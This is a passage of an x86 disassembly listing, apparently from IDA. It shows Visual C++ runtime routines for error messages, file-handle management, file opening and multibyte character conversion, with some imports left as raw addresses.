loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C08 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D03C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D03C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2630000h
		push	eax
		nop
		call	near ptr 26F0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCCA0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCDA0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCDA0, 20h
		lea	ecx, ds:4DCCA0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A9A4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2620466h


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCDA0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A9A4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2620466h


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_42391D
		call	near ptr 2680932h
		nop
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB95C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB958, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DCC80
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC80, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC80, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC78, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D0C8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC78
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D348
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0D8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D138
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB998, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB40
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC50, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB958, 16h
		mov	dword_4DB95C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB960
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB95C, 0
		mov	dword_4DB958, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700842h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 2620669h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 26608E1h


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2680932h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB95C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C48
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB48
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB50C
		push	esi
		push	ebx
		nop
		call	near ptr 26107B6h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB48, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DBA14


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 26107B6h
		nop
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DBA24
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2820000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2820000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DBA14, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBE4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBA24
		nop
		call	near ptr 281108Ch
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DBA14, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9D8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBE4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2820000h
		test	eax, eax
		mov	eax, dword_43CBE4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBA24
		nop
		call	near ptr 2820000h
